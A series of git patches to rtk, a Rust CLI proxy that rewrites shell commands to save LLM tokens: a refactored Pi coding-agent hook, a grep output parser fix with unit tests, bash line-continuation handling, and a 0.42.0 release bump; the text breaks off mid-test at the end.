./hooks/pi/rtk.ts ## Design Notes - All filtering logic lives in `rtk rewrite` (the Rust registry), not in this file -- Exit code 3 (ask) is treated as allow — Pi has no per-tool confirmation UI -- No `zx` library required; uses `node:child_process` `spawn` directly -- See [`docs/specs/pi-hook-integration.md`](../../docs/specs/pi-hook-integration.md) for the full design spec +- Exit codes 0 and 3 both mean "rewrite and allow"; they are handled identically +- Uses `pi.exec` for subprocess management — consistent with Pi's extension API diff --git a/hooks/pi/rtk.ts b/hooks/pi/rtk.ts index d0debffe54..69f59c6400 100644 --- a/hooks/pi/rtk.ts +++ b/hooks/pi/rtk.ts @@ -1,4 +1,4 @@ -// rtk-hook-version: 1 +// rtk-hook-version: 2 // RTK Pi extension — rewrites bash commands to use rtk for token savings. // Requires: rtk >= 0.23.0 in PATH. // @@ -7,52 +7,16 @@ // To add or change rewrite rules, edit the Rust registry — not this file. // // Exit code contract for `rtk rewrite`: -// 0 + stdout Rewrite found → mutate command, allow +// 0 + stdout Rewrite found → mutate command // 1 No RTK equivalent → pass through unchanged -// 2 Deny rule matched → block execution -// 3 + stdout Ask rule matched → mutate command, allow (Pi has no confirm UI) +// 3 + stdout Rewrite (advisory) → mutate command -import { spawn } from "node:child_process" import type { ExtensionAPI } from "@earendil-works/pi-coding-agent" import { isToolCallEventType } from "@earendil-works/pi-coding-agent" -// Run a command, return { stdout, exitCode } or null on spawn error / timeout. -function exec(cmd: string, args: string[], timeoutMs = 2000): Promise<{ stdout: string; exitCode: number } | null> { - return new Promise((resolve) => { - let stdout = "" - let settled = false - - const child = spawn(cmd, args, { env: process.env }) - - const timer = setTimeout(() => { - if (!settled) { - settled = true - child.kill() - resolve(null) - } - }, timeoutMs) - - child.stdout.on("data", (chunk: Buffer) => { - stdout += chunk.toString() - }) - - child.on("close", (code: number | null) => { - if (!settled) { - settled = true - clearTimeout(timer) - resolve({ stdout, exitCode: code ?? 1 }) - } - }) - - child.on("error", () => { - if (!settled) { - settled = true - clearTimeout(timer) - resolve(null) - } - }) - }) -} +const REWRITE_TIMEOUT_MS = 2_000 +const MAX_REWRITE_OUTPUT_BYTES = 1024 * 1024 +const MIN_SUPPORTED_RTK_MINOR = 23 // Parse "X.Y.Z" semver, return [major, minor, patch] or null. function parseSemver(raw: string): [number, number, number] | null { @@ -61,72 +25,59 @@ function parseSemver(raw: string): [number, number, number] | null { return [parseInt(m[1], 10), parseInt(m[2], 10), parseInt(m[3], 10)] } +// Calls `rtk rewrite`; returns the rewritten command or null (pass through). +async function rewriteCommand( + pi: ExtensionAPI, + cmd: string, + signal?: AbortSignal +): Promise { + const result = await pi.exec("rtk", ["rewrite", cmd], { + timeout: REWRITE_TIMEOUT_MS, + signal, + maxBuffer: MAX_REWRITE_OUTPUT_BYTES, + }) + if (result.killed) return null + if (result.code !== 0 && result.code !== 3) return null + return result.stdout.trim() || null +} + export default async function (pi: ExtensionAPI) { - // Load-time check: probe rtk by running --version. This confirms the binary - // is in PATH and gives us the version for the semver guard in one spawn. - const ver = await exec("rtk", ["--version"]) - if (!ver || ver.exitCode !== 0) { + // Probe rtk version at load time; disables extension if missing or too old. + const ver = await pi.exec("rtk", ["--version"], { timeout: REWRITE_TIMEOUT_MS }) + if (ver.code !== 0) { console.warn("[rtk] rtk binary not found in PATH — extension disabled") return } - // Load-time version guard: rtk rewrite was introduced in 0.23.0. Without - // this check the extension still degrades gracefully — exec() returns null - // on any subprocess failure, which falls through to pass-through behaviour. - // The guard exists purely to surface a clear, actionable warning - // ("your rtk is too old, upgrade") rather than leaving the user wondering - // why rewrites silently stopped working after a version rollback. - // stdout format: "rtk X.Y.Z" + // Warn and bail if rtk predates 0.23.0 (when `rtk rewrite` was introduced). const parsed = parseSemver(ver.stdout.replace(/^rtk\s+/, "")) if (parsed) { const [major, minor] = parsed - if (major === 0 && minor < 23) { + if (major === 0 && minor < MIN_SUPPORTED_RTK_MINOR) { console.warn(`[rtk] rtk ${ver.stdout.trim()} is too old (need >= 0.23.0) — extension disabled`) return } } - pi.on("tool_call", async (event) => { - // Only intercept bash tool calls. - if (!isToolCallEventType("bash", event)) return - - const cmd = event.input.command - if (!cmd) return - - if (cmd.startsWith("rtk ")) return - if (process.env.RTK_DISABLED === "1") return - - // Delegate all rewrite + permission logic to the RTK. - const result = await exec("rtk", ["rewrite", cmd]) - if (!result) return // spawn error or timeout — pass through + pi.on("tool_call", async (event, ctx) => { + try { + if (!isToolCallEventType("bash", event)) return - const rewritten = result.stdout.trim() + const cmd = event.input.command + if (typeof cmd !== "string" || cmd.trim() === "") return - switch (result.exitCode) { - case 0: - // Rewrite found — mutate the command in-place. - if (rewritten && rewritten !== cmd) { - event.input.command = rewritten - } - return + if (cmd.startsWith("rtk ")) return + if (process.env.RTK_DISABLED === "1") return - case 1: - // No RTK equivalent — pass through unchanged. - return - - case 2: - // Deny rule matched — block execution. - return { block: true, reason: `RTK: '${cmd}' is blocked — see rtk gain for details` } - - case 3: - // Ask rule matched — rewrite and allow (Pi has no per-tool confirm UI). - if (rewritten && rewritten !== cmd) { - event.input.command = rewritten - } - return - - default: - return + // Delegate to RTK. + const rewritten = await rewriteCommand(pi, cmd, ctx.signal) + if (rewritten && rewritten !== cmd) { + event.input.command = rewritten + } + } catch (err) { + // Fail open: never block execution on an unexpected error. + console.warn("[rtk] unexpected error in tool_call handler; passing through command", err) + return } }) } diff --git a/src/hooks/constants.rs b/src/hooks/constants.rs index bd1937cf66..506e88cdf8 100644 --- a/src/hooks/constants.rs +++ b/src/hooks/constants.rs @@ -23,6 +23,7 @@ pub const CODEX_DIR: &str = ".codex"; pub const GEMINI_DIR: &str = ".gemini"; pub const PI_DIR: &str = ".pi/agent"; +pub const PI_LOCAL_DIR: &str = ".pi"; pub const PI_EXTENSIONS_SUBDIR: &str = "extensions"; pub const PI_PLUGIN_FILE: &str = "rtk.ts"; pub const PI_CODING_AGENT_DIR_ENV: &str = "PI_CODING_AGENT_DIR"; diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 3c4c84e58b..189f5de557 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -15,8 +15,8 @@ use super::constants::{ BEFORE_TOOL_KEY, CLAUDE_DIR, CLAUDE_HOOK_COMMAND, CODEX_DIR, CURSOR_HOOK_COMMAND, GEMINI_HOOK_FILE, HERMES_DIR, HERMES_PLUGINS_SUBDIR, HERMES_PLUGIN_INIT_FILE, HERMES_PLUGIN_MANIFEST_FILE, HERMES_PLUGIN_NAME, HOOKS_JSON, HOOKS_SUBDIR, - PI_CODING_AGENT_DIR_ENV, PI_DIR, PI_EXTENSIONS_SUBDIR, PI_PLUGIN_FILE, PRE_TOOL_USE_KEY, - REWRITE_HOOK_FILE, SETTINGS_JSON, + PI_CODING_AGENT_DIR_ENV, PI_DIR, PI_EXTENSIONS_SUBDIR, PI_LOCAL_DIR, PI_PLUGIN_FILE, + PRE_TOOL_USE_KEY, REWRITE_HOOK_FILE, SETTINGS_JSON, }; use super::integrity; @@ -650,38 +650,7 @@ pub fn uninstall( } if pi { - let plugin_path = pi_plugin_path_for_scope(global)?; - let mut removed: Vec = Vec::new(); - - if plugin_path.exists() { - if dry_run { - println!( - "[dry-run] would remove Pi extension: {}", - plugin_path.display() - ); - } else { - // nosemgrep: filesystem-deletion -- Pi uninstall removes only the RTK-managed extension file. - fs::remove_file(&plugin_path).with_context(|| { - format!("Failed to remove Pi extension: {}", plugin_path.display()) - })?; - if verbose > 0 { - eprintln!("Removed Pi extension: {}", plugin_path.display()); - } - removed.push(format!("Pi extension: {}", plugin_path.display())); - } - } - - if dry_run { - print_dry_run_footer(); - } else if !removed.is_empty() { - println!("RTK uninstalled (Pi):"); - for item in &removed { - println!(" - {}", item); - } - println!("\nRestart pi to apply changes."); - } else { - println!("RTK Pi extension was not installed (nothing to remove)"); - } + uninstall_pi(global, ctx)?; return Ok(()); } @@ -2816,7 +2785,7 @@ fn pi_plugin_path_for_scope(global: bool) -> Result { if global { Ok(pi_plugin_path(&resolve_pi_dir()?)) } else { - Ok(PathBuf::from(".pi") + Ok(PathBuf::from(PI_LOCAL_DIR) .join(PI_EXTENSIONS_SUBDIR) .join(PI_PLUGIN_FILE)) } @@ -2842,6 +2811,46 @@ fn ensure_pi_extensions_dir(parent: &Path, name: &str, ctx: InitContext) -> Resu Ok(()) } +/// Uninstall Pi extension for the given scope. +/// Mirrors `uninstall_codex` / `uninstall_hermes`: extracted from the dispatcher +/// so it can be tested and reasoned about independently. +fn uninstall_pi(global: bool, ctx: InitContext) -> Result<()> { + let InitContext { verbose, dry_run } = ctx; + let plugin_path = pi_plugin_path_for_scope(global)?; + let mut removed: Vec = Vec::new(); + + if plugin_path.exists() { + if dry_run { + println!( + "[dry-run] would remove Pi extension: {}", + plugin_path.display() + ); + } else { + // nosemgrep: filesystem-deletion -- Pi uninstall removes only the RTK-managed extension file. + fs::remove_file(&plugin_path).with_context(|| { + format!("Failed to remove Pi extension: {}", plugin_path.display()) + })?; + if verbose > 0 { + eprintln!("Removed Pi extension: {}", plugin_path.display()); + } + removed.push(format!("Pi extension: {}", plugin_path.display())); + } + } + + if dry_run { + print_dry_run_footer(); + } else if !removed.is_empty() { + println!("RTK uninstalled (Pi):"); + for item in &removed { + println!(" - {}", item); + } + println!("\nRestart pi to apply changes."); + } else { + println!("RTK Pi extension was not installed (nothing to remove)"); + } + Ok(()) +} + /// Install the Pi extension (hook-only; no AGENTS.md injection). /// /// global=true → `$PI_CODING_AGENT_DIR/extensions/rtk.ts` @@ -5988,7 +5997,7 @@ mod tests { let path = pi_plugin_path_for_scope(false).unwrap(); assert_eq!( path, - PathBuf::from(".pi") + PathBuf::from(PI_LOCAL_DIR) .join(PI_EXTENSIONS_SUBDIR) .join(PI_PLUGIN_FILE) ); From 8bc8b463840183bc17817dbab0546b95c659bcc0 Mon Sep 17 00:00:00 2001 From: gitbluf Date: Sat, 23 May 2026 01:57:37 +0200 Subject: [PATCH 145/204] chore: sync with pi api --- hooks/pi/rtk.ts | 2 -- 1 file changed, 2 deletions(-) diff --git a/hooks/pi/rtk.ts b/hooks/pi/rtk.ts index 69f59c6400..4c30f203b7 100644 --- a/hooks/pi/rtk.ts +++ b/hooks/pi/rtk.ts @@ -15,7 +15,6 @@ import type { ExtensionAPI } from "@earendil-works/pi-coding-agent" import { isToolCallEventType } from "@earendil-works/pi-coding-agent" const REWRITE_TIMEOUT_MS = 2_000 -const MAX_REWRITE_OUTPUT_BYTES = 1024 * 1024 const MIN_SUPPORTED_RTK_MINOR = 23 // Parse "X.Y.Z" semver, return [major, minor, patch] or null. @@ -34,7 +33,6 @@ async function rewriteCommand( const result = await pi.exec("rtk", ["rewrite", cmd], { timeout: REWRITE_TIMEOUT_MS, signal, - maxBuffer: MAX_REWRITE_OUTPUT_BYTES, }) if (result.killed) return null if (result.code !== 0 && result.code !== 3) return null From f6a54518bd8576d5032f232b9e19f0a5b9e7399d Mon Sep 17 00:00:00 2001 From: gitbluf Date: Sat, 23 May 2026 01:58:47 +0200 Subject: [PATCH 146/204] chore: minor cleanup --- hooks/pi/rtk.ts | 1 - 1 file changed, 1 deletion(-) diff --git a/hooks/pi/rtk.ts b/hooks/pi/rtk.ts index 4c30f203b7..32cb2b5f11 100644 --- a/hooks/pi/rtk.ts +++ b/hooks/pi/rtk.ts @@ -1,4 +1,3 @@ -// rtk-hook-version: 2 // RTK Pi extension — rewrites bash commands to use rtk for token savings. // Requires: rtk >= 0.23.0 in PATH. // From be226d4f1dcdcc0df29ad6f9968be5ab37ed5c19 Mon Sep 17 00:00:00 2001 From: F0rty-Tw0 Date: Sat, 23 May 2026 22:30:31 +0200 Subject: [PATCH 147/204] fix(grep): parse single-file output containing colons Single-file `rtk grep` returned synthetic `[file] N` buckets when a matching line contained `:`. ripgrep emits `:` for single-file searches; the parser used `splitn(3, ':')` length to disambiguate, which fails when content has `:` (e.g. `Foo::bar(...)`). Force `--with-filename` on rg (`-H` on the grep fallback) so output is always `file:line:content`, and replace the inline parser with a regex-based `parse_match_line` that also handles paths with embedded `:` (Windows drive letters). Fixes the parser/rendering portion of #1436. The BRE-translation portion is addressed in a follow-up PR. Signed-off-by: Artiom Tofan --- src/cmds/system/grep_cmd.rs | 110 +++++++++++++++++++++++++++++++----- 1 file changed, 97 insertions(+), 13 deletions(-) diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/grep_cmd.rs index 6a33cf3a44..806c782b46 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/grep_cmd.rs @@ -33,7 +33,19 @@ pub fn run( // Without this, rg returns 0 matches for files in .gitignore, causing // false negatives that make AI agents draw wrong conclusions. // Using --no-ignore-vcs (not --no-ignore) so .ignore/.rgignore are still respected. - rg_cmd.args(["-n", "--no-heading", "--no-ignore-vcs", &rg_pattern, path]); + // + // --with-filename: force rg to always include the filename, even for + // single-file invocations. Without it, rg emits `:` for a + // single file, and the parser cannot tell `:` from + // `::` when content itself contains ':' (issue #1436). + rg_cmd.args([ + "-n", + "--no-heading", + "--with-filename", + "--no-ignore-vcs", + &rg_pattern, + path, + ]); if let Some(ft) = file_type { rg_cmd.arg("--type").arg(ft); @@ -50,8 +62,9 @@ pub fn run( let result = exec_capture(&mut rg_cmd) .or_else(|_| { let mut grep_cmd = resolved_command("grep"); - //When we fall back to grep,include all args, not just -rn. - grep_cmd.args(["-rn", pattern, path]).args(extra_args); + // -H: always emit the filename so the parser sees a uniform + // file:line:content shape (parity with rg's --with-filename). + grep_cmd.args(["-rnH", pattern, path]).args(extra_args); exec_capture(&mut grep_cmd) }) .context("grep/rg failed")?; @@ -108,18 +121,9 @@ pub fn run( let mut by_file: HashMap> = HashMap::new(); for line in result.stdout.lines() { - let parts: Vec<&str> = line.splitn(3, ':').collect(); - - let (file, line_num, content) = if parts.len() == 3 { - let ln = parts[1].parse().unwrap_or(0); - (parts[0].to_string(), ln, parts[2]) - } else if parts.len() == 2 { - let ln = parts[0].parse().unwrap_or(0); - (path.to_string(), ln, parts[1]) - } else { + let Some((file, line_num, content)) = parse_match_line(line) else { continue; }; - let cleaned = clean_line(content, max_line_len, context_re.as_ref(), pattern); by_file.entry(file).or_default().push((line_num, cleaned)); } @@ -166,6 +170,29 @@ pub fn run( Ok(exit_code) } +/// Parses a single rg/grep match line of the form `file:line_number:content`. +/// +/// Always returns three colon-separated fields when the underlying command was +/// invoked with `--with-filename` (rg) or `-H` (grep). Uses a greedy regex on +/// the path so: +/// - content with `::` (e.g. `ClassRegistry::init(...)`) does not split into +/// a phantom file bucket (issue #1436); +/// - paths with embedded `:` (Windows drive letters like `C:\foo\file.php`) +/// parse correctly — the LAST `:digits:` before content is the boundary. +/// +/// Returns `None` for lines that do not match the expected shape (e.g. rg +/// `-A`/`-B` context lines that use `-` as separator). +fn parse_match_line(line: &str) -> Option<(String, usize, &str)> { + lazy_static::lazy_static! { + static ref MATCH_LINE_RE: Regex = Regex::new(r"^(.+):(\d+):(.*)$").unwrap(); + } + let caps = MATCH_LINE_RE.captures(line)?; + let file = caps.get(1)?.as_str().to_string(); + let line_num: usize = caps.get(2)?.as_str().parse().ok()?; + let content_start = caps.get(3)?.start(); + Some((file, line_num, &line[content_start..])) +} + fn has_format_flag(extra_args: &[String]) -> bool { extra_args.iter().any(|arg| { matches!( @@ -391,6 +418,63 @@ mod tests { // If rg is not installed, skip gracefully (test still passes) } + // --- issue #1436: parse_match_line robustness --- + + #[test] + fn test_parse_match_line_simple() { + let line = "file.php:10:use Foo\\Bar;"; + let (file, line_num, content) = parse_match_line(line).unwrap(); + assert_eq!(file, "file.php"); + assert_eq!(line_num, 10); + assert_eq!(content, "use Foo\\Bar;"); + } + + // Issue #1436 reproducer: content with `::` must not split into a phantom + // file bucket. Before the fix, rg's single-file output `81: $this->... + // ClassRegistry::init('...')` was parsed into 3 colon-fields, producing + // file="81", line=0, content=":init('...')". + #[test] + fn test_parse_match_line_content_with_double_colon() { + let line = "externalImportShell.class.php:81: $this->queueProcessModel = ClassRegistry::init('Collections.QueueProcess');"; + let (file, line_num, content) = parse_match_line(line).unwrap(); + assert_eq!(file, "externalImportShell.class.php"); + assert_eq!(line_num, 81); + assert_eq!( + content, + " $this->queueProcessModel = ClassRegistry::init('Collections.QueueProcess');" + ); + } + + // Windows abs-path safety: drive letter + backslashes must not break the + // parser. Greedy regex on path picks the LAST `:digits:` boundary. + #[test] + fn test_parse_match_line_windows_path() { + let line = r"C:\src\file.rs:42:fn main() {}"; + let (file, line_num, content) = parse_match_line(line).unwrap(); + assert_eq!(file, r"C:\src\file.rs"); + assert_eq!(line_num, 42); + assert_eq!(content, "fn main() {}"); + } + + #[test] + fn test_parse_match_line_malformed_returns_none() { + // Single token, no colons (e.g. an rg context line written with `-`) + assert!(parse_match_line("not a match line").is_none()); + // Missing line number + assert!(parse_match_line("file.rs:fn foo()").is_none()); + // Empty + assert!(parse_match_line("").is_none()); + } + + #[test] + fn test_parse_match_line_empty_content() { + let line = "file.rs:7:"; + let (file, line_num, content) = parse_match_line(line).unwrap(); + assert_eq!(file, "file.rs"); + assert_eq!(line_num, 7); + assert_eq!(content, ""); + } + #[test] fn test_rg_no_ignore_vcs_flag_accepted() { // Verify rg accepts --no-ignore-vcs (used to match grep -r behavior for .gitignore) From 0e3a6f48305c1302443cbe5206e5b5f7cffb671a Mon Sep 17 00:00:00 2001 From: F0rty-Tw0 Date: Sat, 23 May 2026 22:57:35 +0200 Subject: [PATCH 148/204] fix(grep): NUL-separate file from line:content per review - rg: switch to `-nH --null` for robust file/content separation - grep fallback: switch to `-rnHZ` to match rg's --null contract - Parser regex: `^([^\x00]+)\x00(\d+):(.*)$` so filenames or content containing `:digits:` (e.g. `badly_named:52:file.txt`, `debug: counter is :42: now`) can no longer fool the parser - Use `Captures::extract` for cleaner destructuring Adds tests for the badly-named-filename and digit-colons-in-content cases; updates existing tests to use NUL-separated fixtures. Addresses review on #1554. Signed-off-by: Artiom Tofan --- src/cmds/system/grep_cmd.rs | 92 +++++++++++++++++++++++-------------- 1 file changed, 58 insertions(+), 34 deletions(-) diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/grep_cmd.rs index 806c782b46..dbd61364a4 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/grep_cmd.rs @@ -34,14 +34,14 @@ pub fn run( // false negatives that make AI agents draw wrong conclusions. // Using --no-ignore-vcs (not --no-ignore) so .ignore/.rgignore are still respected. // - // --with-filename: force rg to always include the filename, even for - // single-file invocations. Without it, rg emits `:` for a - // single file, and the parser cannot tell `:` from - // `::` when content itself contains ':' (issue #1436). + // -H: force rg to always include the filename, even for single-file searches. + // --null: separate file from line:content with a NUL byte so the parser is + // unambiguous even when the filename or content contains `:digits:` + // patterns (issue #1436). rg_cmd.args([ - "-n", + "-nH", "--no-heading", - "--with-filename", + "--null", "--no-ignore-vcs", &rg_pattern, path, @@ -62,9 +62,10 @@ pub fn run( let result = exec_capture(&mut rg_cmd) .or_else(|_| { let mut grep_cmd = resolved_command("grep"); - // -H: always emit the filename so the parser sees a uniform - // file:line:content shape (parity with rg's --with-filename). - grep_cmd.args(["-rnH", pattern, path]).args(extra_args); + // -H: always emit the filename; -Z: NUL-separate filename from + // line:content so the parser can disambiguate even for filenames + // or content containing `:digits:` (parity with rg's --null). + grep_cmd.args(["-rnHZ", pattern, path]).args(extra_args); exec_capture(&mut grep_cmd) }) .context("grep/rg failed")?; @@ -170,27 +171,26 @@ pub fn run( Ok(exit_code) } -/// Parses a single rg/grep match line of the form `file:line_number:content`. +/// Parses a single rg/grep match line of the form `file\0line_number:content`. /// -/// Always returns three colon-separated fields when the underlying command was -/// invoked with `--with-filename` (rg) or `-H` (grep). Uses a greedy regex on -/// the path so: -/// - content with `::` (e.g. `ClassRegistry::init(...)`) does not split into -/// a phantom file bucket (issue #1436); -/// - paths with embedded `:` (Windows drive letters like `C:\foo\file.php`) -/// parse correctly — the LAST `:digits:` before content is the boundary. +/// Requires the underlying command to be invoked with `--null` (rg) or `-Z` +/// (grep) so the filename is NUL-separated from `line:content`. NUL cannot +/// appear in file paths, so the parser is unambiguous regardless of: +/// - content with `:` or `::` (e.g. `ClassRegistry::init(...)`, issue #1436); +/// - paths with embedded `:` (Windows drive letters, weird filenames like +/// `badly_named:52:file.txt`). /// /// Returns `None` for lines that do not match the expected shape (e.g. rg /// `-A`/`-B` context lines that use `-` as separator). fn parse_match_line(line: &str) -> Option<(String, usize, &str)> { lazy_static::lazy_static! { - static ref MATCH_LINE_RE: Regex = Regex::new(r"^(.+):(\d+):(.*)$").unwrap(); + static ref MATCH_LINE_RE: Regex = Regex::new(r"^([^\x00]+)\x00(\d+):(.*)$").unwrap(); } - let caps = MATCH_LINE_RE.captures(line)?; - let file = caps.get(1)?.as_str().to_string(); - let line_num: usize = caps.get(2)?.as_str().parse().ok()?; - let content_start = caps.get(3)?.start(); - Some((file, line_num, &line[content_start..])) + MATCH_LINE_RE.captures(line).and_then(|caps| { + let (_, [file, line_num, content]) = caps.extract(); + let line_num: usize = line_num.parse().ok()?; + Some((file.to_string(), line_num, content)) + }) } fn has_format_flag(extra_args: &[String]) -> bool { @@ -419,10 +419,11 @@ mod tests { } // --- issue #1436: parse_match_line robustness --- + // Input shape is `file\0line:content` (rg --null / grep -Z). #[test] fn test_parse_match_line_simple() { - let line = "file.php:10:use Foo\\Bar;"; + let line = "file.php\x0010:use Foo\\Bar;"; let (file, line_num, content) = parse_match_line(line).unwrap(); assert_eq!(file, "file.php"); assert_eq!(line_num, 10); @@ -430,12 +431,11 @@ mod tests { } // Issue #1436 reproducer: content with `::` must not split into a phantom - // file bucket. Before the fix, rg's single-file output `81: $this->... - // ClassRegistry::init('...')` was parsed into 3 colon-fields, producing - // file="81", line=0, content=":init('...')". + // file bucket. With NUL separation between file and line:content, content + // colons are irrelevant to the parser. #[test] fn test_parse_match_line_content_with_double_colon() { - let line = "externalImportShell.class.php:81: $this->queueProcessModel = ClassRegistry::init('Collections.QueueProcess');"; + let line = "externalImportShell.class.php\x0081: $this->queueProcessModel = ClassRegistry::init('Collections.QueueProcess');"; let (file, line_num, content) = parse_match_line(line).unwrap(); assert_eq!(file, "externalImportShell.class.php"); assert_eq!(line_num, 81); @@ -446,29 +446,53 @@ mod tests { } // Windows abs-path safety: drive letter + backslashes must not break the - // parser. Greedy regex on path picks the LAST `:digits:` boundary. + // parser. The NUL separator makes the file portion unambiguous. #[test] fn test_parse_match_line_windows_path() { - let line = r"C:\src\file.rs:42:fn main() {}"; + let line = "C:\\src\\file.rs\x0042:fn main() {}"; let (file, line_num, content) = parse_match_line(line).unwrap(); assert_eq!(file, r"C:\src\file.rs"); assert_eq!(line_num, 42); assert_eq!(content, "fn main() {}"); } + // Filenames containing `:digits:` (which would fool a greedy `:` parser) + // must still parse correctly under NUL separation. + #[test] + fn test_parse_match_line_filename_with_colons() { + let line = "badly_named:52:file.txt\x001:xxx"; + let (file, line_num, content) = parse_match_line(line).unwrap(); + assert_eq!(file, "badly_named:52:file.txt"); + assert_eq!(line_num, 1); + assert_eq!(content, "xxx"); + } + + // Content that itself contains `:digits:` (e.g. log lines, port numbers, + // line-number-like substrings) must not confuse the parser. + #[test] + fn test_parse_match_line_content_with_digit_colons() { + let line = "log.txt\x007:debug: counter is :42: now"; + let (file, line_num, content) = parse_match_line(line).unwrap(); + assert_eq!(file, "log.txt"); + assert_eq!(line_num, 7); + assert_eq!(content, "debug: counter is :42: now"); + } + #[test] fn test_parse_match_line_malformed_returns_none() { - // Single token, no colons (e.g. an rg context line written with `-`) + // No NUL separator (e.g. rg/grep invoked without --null/-Z, or a + // context line written with `-`). + assert!(parse_match_line("file.rs:1:content").is_none()); assert!(parse_match_line("not a match line").is_none()); - // Missing line number - assert!(parse_match_line("file.rs:fn foo()").is_none()); + // Missing line number after NUL + assert!(parse_match_line("file.rs\x00fn foo()").is_none()); // Empty assert!(parse_match_line("").is_none()); } #[test] fn test_parse_match_line_empty_content() { - let line = "file.rs:7:"; + let line = "file.rs\x007:"; let (file, line_num, content) = parse_match_line(line).unwrap(); assert_eq!(file, "file.rs"); assert_eq!(line_num, 7); From 415fab061165b216b25da7afdefbddde1d91fab2 Mon Sep 17 00:00:00 2001 From: "rtk-release-bot[bot]" <280461666+rtk-release-bot[bot]@users.noreply.github.com> Date: Sun, 24 May 2026 15:34:31 +0000 Subject: [PATCH 149/204] chore(master): release 0.42.0 --- .release-please-manifest.json | 2 +- CHANGELOG.md | 12 ++++++++++++ Cargo.lock | 2 +- Cargo.toml | 2 +- 4 files changed, 15 insertions(+), 3 deletions(-) diff --git a/.release-please-manifest.json b/.release-please-manifest.json index dbe1b2bfb9..57953081c6 100644 --- a/.release-please-manifest.json +++ b/.release-please-manifest.json @@ -1,3 +1,3 @@ { - ".": "0.41.0" + ".": "0.42.0" } diff --git a/CHANGELOG.md b/CHANGELOG.md index 2d7dc81c70..572d8b8cc7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,18 @@ All notable changes to rtk (Rust Token Killer) will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.42.0](https://github.com/rtk-ai/rtk/compare/v0.41.0...v0.42.0) (2026-05-24) + + +### Features + +* **hook:** add pi support ([805caf7](https://github.com/rtk-ai/rtk/commit/805caf7d069e93370a316682b36aad59d562de2e)) + + +### Bug Fixes + +* honor explicit -n N limit for git log on merge commits ([26c8890](https://github.com/rtk-ai/rtk/commit/26c88907d945ec81a25fe631a39dee3830faa0ec)) + ## [0.41.0](https://github.com/rtk-ai/rtk/compare/v0.40.0...v0.41.0) (2026-05-22) diff --git a/Cargo.lock b/Cargo.lock index 5ddb812959..8b259e2abe 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -892,7 +892,7 @@ dependencies = [ [[package]] name = "rtk" -version = "0.41.0" +version = "0.42.0" dependencies = [ "anyhow", "automod", diff --git a/Cargo.toml b/Cargo.toml index 376df83aa5..5b91bb4cae 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rtk" -version = "0.41.0" +version = "0.42.0" edition = "2021" authors = ["Patrick Szymkowiak"] description = "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" From 2543be59126f5b6825b48570a5b5fb99d0112dab Mon Sep 17 00:00:00 2001 From: SAY-5 Date: Tue, 28 Apr 2026 03:29:11 -0700 Subject: [PATCH 150/204] fix(hook): collapse bash line continuations before matching (#1564) Closes #1564. `rtk hook check` rejected commands that began with a bash line continuation (`\`) because the matcher saw the literal `\` as the first token and bailed out: $ rtk hook check $'\\\ngit diff HEAD~1' No rewrite for: \\ngit diff HEAD~1 Bash collapses `\` (and `\`) plus surrounding horizontal whitespace to a single space before dispatching the command, so the matcher should do the same. Internal continuations (e.g. `git diff \HEAD~1`) are equally common when Claude Code formats long invocations. Add a small `collapse_line_continuations` helper that runs a single regex over the input before `cmd.trim()`. The regex eats the trailing whitespace on the previous line and the leading indentation on the next line so the no-double-space invariant holds. The fast path returns `Cow::Borrowed` when no continuation is present, so commands without `\` allocate nothing. Six regression tests pin: leading \\, leading \\, internal \\ between subcommand and args, \\ followed by indentation, the no-op fast path, and the helper-level Cow::Borrowed contract. --- src/discover/registry.rs | 95 +++++++++++++++++++++++++++++++++++++++- 1 file changed, 93 insertions(+), 2 deletions(-) diff --git a/src/discover/registry.rs b/src/discover/registry.rs index bb7b11f2a4..ecccc1d6f2 100644 --- a/src/discover/registry.rs +++ b/src/discover/registry.rs @@ -440,6 +440,27 @@ fn strip_trailing_redirects(cmd: &str) -> (&str, &str) { (cmd_part, redir_part) } +lazy_static! { + /// Matches a bash line-continuation: a backslash immediately + /// followed by `\n` or `\r\n`, *plus* any horizontal whitespace on + /// the line before AND after the break. This is what bash already + /// collapses to a single space before executing the command — rtk's + /// hook matcher needs to do the same so commands authored across + /// multiple lines still hit the rewrite rules. Consuming the + /// trailing whitespace prevents double spaces in cases like + /// `git diff \HEAD~1`. + static ref LINE_CONTINUATION_RE: Regex = + Regex::new(r"[ \t]*\\(?:\r\n|\n)[ \t]*").unwrap(); +} + +/// Replace every bash line continuation with a single space, mirroring +/// what bash does before dispatching the command. Returns a borrowed +/// `&str` when the input contains no continuations, so the common +/// fast path allocates nothing. +fn collapse_line_continuations(s: &str) -> std::borrow::Cow<'_, str> { + LINE_CONTINUATION_RE.replace_all(s, " ") +} + /// Returns `None` if the command is unsupported or ignored (hook should pass through). /// /// Handles compound commands (`&&`, `||`, `;`) by rewriting each segment independently. @@ -449,7 +470,7 @@ fn strip_trailing_redirects(cmd: &str) -> (&str, &str) { /// (`[hooks].transparent_prefixes` in `config.toml`) before routing. /// /// A transparent prefix is a wrapper command that doesn't change *what* is -/// being run, only *how* it's run — e.g. `docker exec mycontainer`, +/// being run, only *how* it's run --- e.g. `docker exec mycontainer`, /// `direnv exec .`, `poetry run`, or `bundle exec`. Stripping it lets the inner /// command match a filter; the prefix is then re-prepended to the rewrite. The /// built-in [`SHELL_PREFIX_BUILTINS`] (`noglob`, `command`, `builtin`, `exec`, @@ -464,7 +485,13 @@ pub fn rewrite_command( excluded: &[String], transparent_prefixes: &[String], ) -> Option { - let trimmed = cmd.trim(); + // Bash line continuations (`\`, `\`) and the leading + // whitespace that follows are syntactically equivalent to a single + // space, but `cmd.trim()` does not unwrap them --- so a leading + // backslash-newline used to defeat the whole matcher. Normalize + // first, then trim. See issue #1564. + let normalized = collapse_line_continuations(cmd); + let trimmed = normalized.trim(); if trimmed.is_empty() { return None; } @@ -3884,4 +3911,68 @@ mod tests { Some("rtk git log | head | 